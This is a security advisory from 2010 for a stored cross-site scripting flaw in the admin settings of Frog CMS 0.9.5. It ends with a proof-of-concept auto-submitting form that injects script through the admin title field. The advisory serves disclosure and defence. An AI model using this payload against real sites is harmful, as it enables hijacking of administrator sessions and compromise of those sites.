XSS vulnerability in Frog CMS

Type securityvulns
Reporter Securityvulns
Modified 2010-11-28T00:00:00


Vulnerability ID: HTB22683 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_frog_cms_1.html Product: Frog CMS Vendor: Philippe Archambault ( http://www.madebyfrog.com/ ) Vulnerable Version: 0.9.5 and probably prior versions Vendor Notification: 09 November 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "frog/app/controllers/SettingController.php" script to properly sanitize user-supplied input in "setting[admin_title]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/?/setting" method="post" name="main"> <input type="hidden" name="setting[admin_title]" value='Frog CMS"><script>alert(document.cookie)</script>'> <input type="hidden" name="setting[language]" value="en"> <input type="hidden" name="setting[theme]" value="default"> <input type="hidden" name="setting[default_tab]" value="page"> <input type="hidden" name="setting[default_status_id]" value="1"> <input type="hidden" name="setting[default_filter_id]" value=""> <input type="hidden" name="commit" value="Save"> </form> <script> document.main.submit(); </script>